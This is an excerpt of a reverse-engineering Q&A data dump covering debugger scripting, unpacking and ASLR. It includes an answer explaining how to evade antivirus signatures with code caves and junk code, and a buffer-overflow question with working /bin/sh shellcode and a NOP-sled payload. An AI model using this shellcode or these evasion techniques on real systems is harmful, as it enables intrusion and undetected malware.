dump:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j9pOf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j9pOf.png&quot; alt=&quot;06-07011-0004&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22566" LastEditorUserId="22566" LastEditDate="2017-12-11T16:31:52.427" LastActivityDate="2017-12-11T16:31:52.427" Title="Custom image format decoding" Tags="|file-format|decompress|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="16954" PostTypeId="1" CreationDate="2017-12-11T10:17:38.190" Score="1" ViewCount="483" Body="&lt;p&gt;I am writing a script which should first place a breakpoint on start, _start, _main, or main and then start the IDA Pro debugger. It then should enumerate the modules looking for &quot;kernel32.dll&quot; and finally, scan the kernel32.dll starting from the module base address to the size address, checking each line for the function name &quot;ExitProcess&quot; and if found, place a breakpoint on it. Finally, it should run to this breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script is not working; it freezes up IDA Pro completely after iteration 4818 and after doing some math with the base and size, I noticed that the actual size of the module is also off as seen in this screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/51ac7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/51ac7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;According to the size, 74BF0000 + D0000 = 74CC0000 but as we can see, kernel32.dll does not map that far. While this is one issue, I also do not understand why IDA Pro freezes up and crashes after iterating around 4791 addresses in past the base which would bring us to 74BF12D2. Here's my script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import time&#xA;NULL = 0&#xA;# possible refactor to just take the module object so base and size dont need to be passed in like this?&#xA;def get_names(base, size, desired_name):&#xA;    print &quot;inside get_names&quot;&#xA;    print (&quot;Base: %d Size: %d Desired Name: %s&quot; % (base, size, desired_name))&#xA;    global NULL&#xA;    current_address = base&#xA;    i = 0&#xA;    while current_address &amp;lt;= base+size:&#xA;        print &quot;Made it into current_address loop &quot;&#xA;        i += 1&#xA;        print (&quot;interation #: %d&quot; % (i))&#xA;        # print hex(current_address) TODO: REMOVE&#xA;        if desired_name in Name(current_address):&#xA;            print &quot;found %s&quot; % (desired_name)&#xA;            return current_address&#xA;        time.sleep(0.02)&#xA;        current_address = NextHead(current_address)&#xA;    print &quot;exiting get_names&quot;&#xA;    return NULL&#xA;&#xA;# Enumerate modules&#xA;def find_import_routine(the_module, desired_name):&#xA;    print &quot;inside find_import routine&quot;&#xA;    for m in Modules():&#xA;        if the_module.lower() in m.name.lower():&#xA;            base = m.base&#xA;            size = m.size&#xA;            analyze_area(base, base+size)&#xA;            begin_text = get_names(base, size, desired_name)&#xA;            if begin_text: #check for null&#xA;                add_bpt(begin_text,0,BPT_SOFT)&#xA;                enable_bpt(begin_text,True)&#xA;                continue_process()&#xA;                GetDebuggerEvent(WFNE_SUSP,-1)&#xA;                #del_bpt(initial_bp_ea)&#xA;                return True #return the bp addr??&#xA;    print &quot;exiting find_import routine&quot;&#xA;    return False&#xA;def find_start():&#xA;    print &quot;inside find_start routine&quot;&#xA;    global NULL&#xA;    functions = idautils.Functions()&#xA;    for f in functions:&#xA;        name = get_func_name(f)&#xA;        if name == 'start' or name == '_start' or name =='main' or name == '_main':&#xA;            return f&#xA;    print &quot;exiting find)start&quot;&#xA;    return NULL&#xA;&#xA;def main():&#xA;    start_addr = find_start()&#xA;    if start_addr:&#xA;        idc.add_bpt(start_addr)&#xA;        StartDebugger(&quot;&quot;,&quot;&quot;,&quot;&quot;);&#xA;        print &quot;after StartDebugger()&quot;&#xA;        GetDebuggerEvent(WFNE_SUSP, -1)&#xA;        print &quot;after GetDebuggerEvent&quot;&#xA;        find_import_routine('kernel32.dll','ExitProcess')&#xA;        print &quot;After find_import_routine&quot;&#xA;    else:&#xA;        print &quot;Could not find a start routine. Exiting.&quot; &#xA;if __name__ == &quot;__main__&quot;:&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note that the sleep and print is only for debugging purposes.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2018-08-09T14:00:58.573" Title="What is an efficient way to scan for a given import function across modules in IDAPython?" Tags="|ida|idapython|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16955" PostTypeId="1" CreationDate="2017-12-11T12:12:25.097" Score="2" ViewCount="2699" Body="&lt;p&gt;I recently started studying on bypassing AV by finding an AV signature on &lt;em&gt;nc.exe&lt;/em&gt; (NetCat) and changing it to see how it works. I have already found the place of signature with splitting method. Then, I should open &lt;em&gt;nc.exe&lt;/em&gt; with a hex editor and change the Sig. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But&lt;/strong&gt;, here is what it look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hFTjg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hFTjg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the file will get corrupted by editing it (adding or removing bytes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is:&lt;/strong&gt; What should I do for editing in this situations? What should I know for a successful binary editing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I get this whole wrong tell me what should I be looking for.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; the signature is in &lt;code&gt;.bss&lt;/code&gt; and &lt;code&gt;.text&lt;/code&gt; section of file&lt;/p&gt;&#xA;" OwnerUserId="22583" LastEditorUserId="22583" LastEditDate="2017-12-12T06:54:23.997" LastActivityDate="2017-12-12T06:54:23.997" Title="Bypassing av signature with Hex editing" Tags="|pe|hex|binary-editing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16956" PostTypeId="2" ParentId="16955" CreationDate="2017-12-11T14:05:08.433" Score="3" Body="&lt;p&gt;I'd recommend using something such as OllyDbg or IDA PRO rather than just plain HexEditor since just using HexEditor you've got no idea what section of the PE you are editing. For example, you could be editing the &lt;code&gt;.text&lt;/code&gt; PE section and editing an essential part of the program rather than &lt;code&gt;.idata&lt;/code&gt; or .data section which just store variable data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, few methods an AV could use for detection of malware are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Checksum of the whole file for an well-known piece of malware&lt;/li&gt;&#xA;&lt;li&gt;Checksum the &lt;code&gt;.text&lt;/code&gt; (Can also be named &lt;code&gt;.code&lt;/code&gt;) section of the PE as these pages are not flagged with WRITE permissions by default&lt;/li&gt;&#xA;&lt;li&gt;Checksum of the pattern that's malicious for example &lt;code&gt;OpenProcess&lt;/code&gt; with &lt;code&gt;WriteProcessMemory&lt;/code&gt; are often used for injecting DLLs or code into other processes. We could just create signature for that part of the code&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bypassing Method 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By randomly HexEditting you would manage to avoid AV detection method 1 (see above) but method 2 and 3 would detect the malware still. If you didn't overwrite anything essential for your program to execute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bypassing Method 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rewrite a simple instruction or make a &lt;code&gt;JMP&lt;/code&gt; to code-cave and put overwritten code there and JMP back to next instruction. So, you would be executing exact same code but different flow and .text section checksum would be different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bypassing Method 3:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be able to bypass method 3 - You would need to add junk code between each call or add a JMP to a code cave and have the instruction set there. So, the code would still be the same but byte signature would be completely different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best to learn about assembly language and learn how to use IDA PRO or OllyDbg and learn about patching programs before you move onto something more complex like bypassing AV.&lt;/p&gt;&#xA;" OwnerUserId="4413" LastActivityDate="2017-12-11T14:05:08.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16957" PostTypeId="2" ParentId="15550" CreationDate="2017-12-12T10:01:11.913" Score="1" Body="&lt;p&gt;Usually it's done through ELM327 device so most of OBD II scanners are not talking to the car directly but trought ELM327 device, which provide serial interface for the developer and does all hardware handshake itself. For example:&#xA;&lt;a href=&quot;http://www.obdtester.com/pyobd-download&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.obdtester.com/pyobd-download&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2017-12-12T10:01:11.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16958" PostTypeId="2" ParentId="16954" CreationDate="2017-12-12T10:06:05.873" Score="1" Body="&lt;p&gt;Those debug API never well worked for me either, even when I've used them in c++ plugin. Seems like you have to do a lot of Wait() in order to make the engine to process the events. &lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2017-12-12T10:06:05.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16960" PostTypeId="2" ParentId="16914" CreationDate="2017-12-12T14:56:24.950" Score="1" Body="&lt;p&gt;There are some issues you have to fix&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Please take a look at &lt;a href=&quot;http://winappdbg.sourceforge.net/HowBreakpointsWork.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; where is explains which event is triggered in the hardware breakpoint case. You have to add &lt;strong&gt;EXCEPTION_SINGLE_STEP&lt;/strong&gt; in &lt;strong&gt;DebuggerThreadProc()&lt;/strong&gt; function&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You need to be attached to the target process in order to be able to debug it. For this you need to use &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms679295(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt; DebugActiveProcess&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This one is quite a semantic error. As you create the target process in the same app you already have an open handle to both the process and the main thread so there is NO need to create snapshot and searching for the target! This is completely redundant. Please remove all these parts and pass the handles as input to those functions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Always keep in mind to &lt;strong&gt;close&lt;/strong&gt; the handles you've opened.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="22023" LastActivityDate="2017-12-12T14:56:24.950" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="16961" PostTypeId="1" CreationDate="2017-12-13T00:58:51.703" Score="1" ViewCount="345" Body="&lt;p&gt;I've been going at this for a couple of days now working through trial and error but I can't seem to pinpoint exactly why I'm still getting a SIGSEGV. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the stdout of me stepping through the stack buffer overflow with gdb/gef: &lt;a href=&quot;https://hastebin.com/hunekowasi.bash&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hastebin.com/hunekowasi.bash&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source for the c bin i'm executing is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int main(int argc, char** argv) {&#xA;    char buf[256];&#xA;&#xA;    if (argc &amp;lt; 2) {&#xA;        fprintf(stderr, &quot;ERROR: argc &amp;lt; 2&quot;);&#xA;        return 1;&#xA;    }&#xA;&#xA;    strcpy(buf, argv[1]);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compile it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -g -Wall -fno-stack-protector -m32 -I. main.c -o overflow&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The machine im using has an 64 bit intel processor (little-endian), and I'm executing the &lt;code&gt;./overflow&lt;/code&gt; bin with this command:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;gdb -q --args ./overflow $(perl -e 'print &quot;\x90&quot; x 236 . &quot;\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80&quot; . &quot;\xe8\x9c\xff\xff&quot;')&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The char array im trying to overflow is 256 bytes (appears to be 260 bytes i believe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x080484ab &amp;lt;+69&amp;gt;:  lea    eax,[ebp-0x108]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is verified when I intentionally try to segfault:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master⚡ &#xA;⇒  ./overflow $(perl -e &quot;print 'A' x 256&quot;)&#xA;th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master⚡ &#xA;⇒  ./overflow $(perl -e &quot;print 'A' x 260&quot;)&#xA;[1]    18410 segmentation fault (core dumped)  ./overflow $(perl -e &quot;print 'A' x 260&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After verifying the segfault occurs at 260, I create my payload:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;NOP sled = 236 bytes&lt;/li&gt;&#xA;&lt;li&gt;shellcode = 24 bytes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I calculate for the jump by taking the beginning address of the buffer and adding 50 to it: &lt;code&gt;0xffff9cc0 + 50&lt;/code&gt; giving &lt;code&gt;0xffff9c8e&lt;/code&gt; which I reverse since I'm on a little-endian system and that ends up being: &lt;code&gt;\x8e\x9c\xff\xff&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shellcode im using is the same shellcode i use in this source to verify it works on my system:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;char shellcode[] = {&#xA;    &quot;\x6a\x0b&quot;                      /* push   0xb */&#xA;    &quot;\x58&quot;                          /* pop    eax */&#xA;    &quot;\x31\xf6&quot;                      /* xor    esi,esi */&#xA;    &quot;\x56&quot;                          /* push   esi */&#xA;    &quot;\x68\x2f\x2f\x73\x68&quot;          /* push   0x68732f2f */&#xA;    &quot;\x68\x2f\x62\x69\x6e&quot;          /* push   0x6e69622f */&#xA;    &quot;\x89\xe3&quot;                      /* mov    ebx,esp */&#xA;    &quot;\x31\xc9&quot;                      /* xor    ecx,ecx */&#xA;    &quot;\x89\xca&quot;                      /* mov    edx,ecx */&#xA;    &quot;\xcd\x80&quot;                      /* int    0x80 */&#xA;};&#xA;&#xA;int main()&#xA;{&#xA;    printf(&quot;Shellcode Length:  %d\n&quot;, (int)strlen(shellcode));&#xA;    int (*ret)() = (int(*)())shellcode;&#xA;    ret();&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though.. When i execute the bin passing it the crafted string, i get a SIGSEGV error. I've played around with it quite a bit and can't seem to get it to work. I feel like im missing something small. You can see the output from gdb in the hastebin link i provided above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit - Adding some additional info that may be helpful.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@gef➤  checksec&#xA;[+] checksec for '/home/th3v0id/repos/bufferoverflows/stack/01/overflow'&#xA;Canary                        : No&#xA;NX                            : No&#xA;PIE                           : No&#xA;Fortify                       : No&#xA;RelRO                         : Partial&#xA;&#xA;@gef➤  disassemble main&#xA;Dump of assembler code for function main:&#xA;=&amp;gt; 0x08048466 &amp;lt;+0&amp;gt;: lea    ecx,[esp+0x4]&#xA;   0x0804846a &amp;lt;+4&amp;gt;: and    esp,0xfffffff0&#xA;   0x0804846d &amp;lt;+7&amp;gt;: push   DWORD PTR [ecx-0x4]&#xA;   0x08048470 &amp;lt;+10&amp;gt;:    push   ebp&#xA;   0x08048471 &amp;lt;+11&amp;gt;:    mov    ebp,esp&#xA;   0x08048473 &amp;lt;+13&amp;gt;:    push   ecx&#xA;   0x08048474 &amp;lt;+14&amp;gt;:    sub    esp,0x104&#xA;   0x0804847a &amp;lt;+20&amp;gt;:    mov    eax,ecx&#xA;   0x0804847c &amp;lt;+22&amp;gt;:    cmp    DWORD PTR [eax],0x1&#xA;   0x0804847f &amp;lt;+25&amp;gt;:    jg     0x804849f &amp;lt;main+57&amp;gt;&#xA;   0x08048481 &amp;lt;+27&amp;gt;:    mov    eax,ds:0x804a020&#xA;   0x08048486 &amp;lt;+32&amp;gt;:    push   eax&#xA;   0x08048487 &amp;lt;+33&amp;gt;:    push   0xf&#xA;   0x08048489 &amp;lt;+35&amp;gt;:    push   0x1&#xA;   0x0804848b &amp;lt;+37&amp;gt;:    push   0x8048554&#xA;   0x08048490 &amp;lt;+42&amp;gt;:    call   0x8048330 &amp;lt;fwrite@plt&amp;gt;&#xA;   0x08048495 &amp;lt;+47&amp;gt;:    add    esp,0x10&#xA;   0x08048498 &amp;lt;+50&amp;gt;:    mov    eax,0x1&#xA;   0x0804849d &amp;lt;+55&amp;gt;:    jmp    0x80484bf &amp;lt;main+89&amp;gt;&#xA;   0x0804849f &amp;lt;+57&amp;gt;:    mov    eax,DWORD PTR [eax+0x4]&#xA;   0x080484a2 &amp;lt;+60&amp;gt;:    add    eax,0x4&#xA;   0x080484a5 &amp;lt;+63&amp;gt;:    mov    eax,DWORD PTR [eax]&#xA;   0x080484a7 &amp;lt;+65&amp;gt;:    sub    esp,0x8&#xA;   0x080484aa &amp;lt;+68&amp;gt;:    push   eax&#xA;   0x080484ab &amp;lt;+69&amp;gt;:    lea    eax,[ebp-0x108]&#xA;   0x080484b1 &amp;lt;+75&amp;gt;:    push   eax&#xA;   0x080484b2 &amp;lt;+76&amp;gt;:    call   0x8048340 &amp;lt;strcpy@plt&amp;gt;&#xA;   0x080484b7 &amp;lt;+81&amp;gt;:    add    esp,0x10&#xA;   0x080484ba &amp;lt;+84&amp;gt;:    mov    eax,0x0&#xA;   0x080484bf &amp;lt;+89&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&#xA;   0x080484c2 &amp;lt;+92&amp;gt;:    leave  &#xA;   0x080484c3 &amp;lt;+93&amp;gt;:    lea    esp,[ecx-0x4]&#xA;   0x080484c6 &amp;lt;+96&amp;gt;:    ret    &#xA;End of assembler dump.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12100" LastEditorUserId="12100" LastEditDate="2017-12-13T21:44:46.110" LastActivityDate="2017-12-13T21:44:46.110" Title="Stack buffer overflow SIGSEGV help" Tags="|disassembly|assembly|binary-analysis|gdb|buffer-overflow|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16963" PostTypeId="1" CreationDate="2017-12-13T01:25:08.837" Score="1" ViewCount="277" Body="&lt;p&gt;Whenever I debug something and I switch to pseudocode and then rename some of the &quot;variables&quot; that IDA Pro creates, the values shown in the LOCALS window don't match what the actual values of those variables are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to fix that behaviour?&lt;/p&gt;&#xA;" OwnerUserId="17617" LastEditorUserId="245" LastEditDate="2018-10-31T21:18:26.133" LastActivityDate="2018-10-31T21:18:26.133" Title="IDA Pro 7.0 showing incorrect LOCALS in pseudocode view" Tags="|ida|hexrays|local-variables|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16964" PostTypeId="1" CreationDate="2017-12-13T04:17:27.750" Score="1" ViewCount="209" Body="&lt;p&gt;&#xA;I'm studying reverse engineering, I wrote the following code to see how it is to pass struct variables in the disassembly.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct s {&#xA;    int a;&#xA;    int b;&#xA;    int c;&#xA;};&#xA;&#xA;struct s get_some_values(int a)&#xA;{&#xA;    struct s rt;&#xA;&#xA;    rt.a = a + 1;&#xA;    rt.b = a + 2;&#xA;    rt.c = a + 3;&#xA;&#xA;    return rt;&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    get_some_values(4);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;The env is: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;all tools installed automatically by this: &lt;a href=&quot;http://boxstarter.org/package/url?https://raw.githubusercontent.com/fireeye/flare-vm/master/flarevm_malware.ps1&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://boxstarter.org/package/url?https://raw.githubusercontent.com/fireeye/flare-vm/master/flarevm_malware.ps1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;win 7 x64 (VM)&lt;/li&gt;&#xA;&lt;li&gt;windbg x86&lt;/li&gt;&#xA;&lt;li&gt;vs2017&lt;/li&gt;&#xA;&lt;li&gt;complied to debug, without aslr and dep&lt;/li&gt;&#xA;&lt;li&gt;command for the windbg after loaded the executable:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0:000&gt; bl&lt;/li&gt;&#xA;&lt;li&gt;0:000&gt; x *!main&lt;/li&gt;&#xA;&lt;li&gt;00411770          returnvalue!main ()&lt;/li&gt;&#xA;&lt;li&gt;0:000&gt; bp 0x00411770&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&#xA;Since then, at the left corner of windbg, its &quot;BUSY&quot;, and not responding to any commands like 'g'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the screenshot:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NQ7la.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NQ7la.png&quot; alt=&quot;windbg stopped&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what I'm facing now?&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="22594" LastActivityDate="2017-12-13T04:17:27.750" Title="windbg stopped after I set up a breakpoint, keeping busing" Tags="|x86|windbg|breakpoint|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16966" PostTypeId="1" AcceptedAnswerId="16971" CreationDate="2017-12-13T22:23:35.453" Score="9" ViewCount="25029" Body="&lt;p&gt;Before we continue I'd like you to keep in mind I'm relatively new to unpacking executables. So I have a few&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently I've been trying to unpack an executable (x64 architecture), aka find the OEP and restore the IAT, that is packed with Themida x64:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried breakpointing at LoadLibraryA. I've read thats a great way to solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I do not know what to do next. It brings me to this page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00007FFE291AA240 | 48 89 5C 24 08           | mov qword ptr ss:[rsp+8],rbx           |&#xA;00007FFE291AA245 | 48 89 74 24 10           | mov qword ptr ss:[rsp+10],rsi          | [rsp+10]:LoadLibraryA&#xA;00007FFE291AA24A | 57                       | push rdi                               |&#xA;00007FFE291AA24B | 48 83 EC 20              | sub rsp,20                             |&#xA;00007FFE291AA24F | 48 8B F9                 | mov rdi,rcx                            | rcx:&quot;USER32.dll&quot;&#xA;00007FFE291AA252 | 48 85 C9                 | test rcx,rcx                           | rcx:&quot;USER32.dll&quot;&#xA;00007FFE291AA255 | 74 15                    | je kernelbase.7FFE291AA26C             |&#xA;00007FFE291AA257 | 48 8D 15 FA 2F 10 00     | lea rdx,qword ptr ds:[7FFE292AD258]    | 7FFE292AD258:&quot;twain_32.dll&quot;&#xA;00007FFE291AA25E | FF 15 B4 C9 0F 00        | call qword ptr ds:[&amp;lt;&amp;amp;_stricmp&amp;gt;]        |&#xA;00007FFE291AA264 | 85 C0                    | test eax,eax                           |&#xA;00007FFE291AA266 | 0F 84 72 A8 03 00        | je kernelbase.7FFE291E4ADE             |&#xA;00007FFE291AA26C | 45 33 C0                 | xor r8d,r8d                            |&#xA;00007FFE291AA26F | 33 D2                    | xor edx,edx                            |&#xA;00007FFE291AA271 | 48 8B CF                 | mov rcx,rdi                            | rcx:&quot;USER32.dll&quot;&#xA;00007FFE291AA274 | E8 17 00 00 00           | call &amp;lt;kernelbase.LoadLibraryExA&amp;gt;       |&#xA;00007FFE291AA279 | 48 8B 5C 24 30           | mov rbx,qword ptr ss:[rsp+30]          | [rsp+30]:LoadLibraryA&#xA;00007FFE291AA27E | 48 8B 74 24 38           | mov rsi,qword ptr ss:[rsp+38]          |&#xA;00007FFE291AA283 | 48 83 C4 20              | add rsp,20                             |&#xA;00007FFE291AA287 | 5F                       | pop rdi                                |&#xA;00007FFE291AA288 | C3                       | ret                                    |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've gotten a few addresses where it finds the API's, but it doesnt load all of them! (from what I have seen)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this one address I had loaded only Windows libs (kernel32.dll, KernelBase.dll, ...), but due to it missing a ton of libs (DirectX, OpenGL, ...), I threw it off as not being the OEP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've unpacked files packed with UPX, Themida is stumping me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All help is appreciated! Thank you :)&lt;/p&gt;&#xA;" OwnerUserId="22194" LastActivityDate="2020-12-13T01:22:00.373" Title="Unpacking a Themida packed x64 executable?" Tags="|unpacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16968" PostTypeId="1" AcceptedAnswerId="16973" CreationDate="2017-12-14T06:09:59.343" Score="1" ViewCount="859" Body="&lt;p&gt;Is there a way (native or through plugin) to configure a code highlight scheme in IDA disasm?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for something like what we have in ollydbg or x64dbg, some code highlight to make easy on the eyes to find jumps, calls, etc. This seems to be such a good missing feature in IDA as I just can't find it anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="21752" LastActivityDate="2017-12-14T15:05:00.823" Title="IDA code highlight?" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16969" PostTypeId="1" CreationDate="2017-12-14T06:57:50.573" Score="2" ViewCount="3187" Body="&lt;p&gt;So I have an address from IDA which is:&#xA;.text:10924D10: Bool (IsDebuggerPresent). Now when I open the same PE in Ollydbg I can't find this adress, any ideas?&lt;/p&gt;&#xA;" OwnerUserId="22599" LastEditorUserId="22599" LastEditDate="2017-12-14T07:16:21.783" LastActivityDate="2017-12-14T08:15:21.563" Title="Finding Addresses in Ollydbg from IDA" Tags="|ida|ollydbg|" AnswerCount="1" CommentCount="0" ClosedDate="2017-12-16T02:21:51.933" ContentLicense="CC BY-SA 3.0" />
  <row Id="16970" PostTypeId="2" ParentId="16969" CreationDate="2017-12-14T08:15:21.563" Score="2" Body="&lt;p&gt;In a nutshell, the address you are seeing in IDA Pro is the &quot;on disk virtual address&quot; which is not necessarily the &quot;real&quot; address that the program actually maps to when it is loaded into memory (RAM). Many times, there is an address change due to Address Space Layout Randomization (ASLR) but it could also occur due to other reasons. To disable ASLR, you can use the program &lt;strong&gt;CFF Explorer&lt;/strong&gt;; open the binary and navigate to the OptionalHeader and then scroll down to DllCharacteristics area and you will have an option to edit here. Untick the checkbox &quot;image can be moved&quot; and make sure to save the binary before you exit. This will disable ASLR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option you have is to first load the binary into a debugger and locate the image base address of the binary in the debugger (use the &quot;memory map&quot; option) and then go into IDA Pro and click &lt;strong&gt;Edit -&gt; Segments -&gt; Rebase Program&lt;/strong&gt; now enter the image base into the box, tick Image Base, and click OK. Now, the addresses in your debugger will correspond properly with the addresses in IDA Pro Disassembler.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-12-14T08:15:21.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
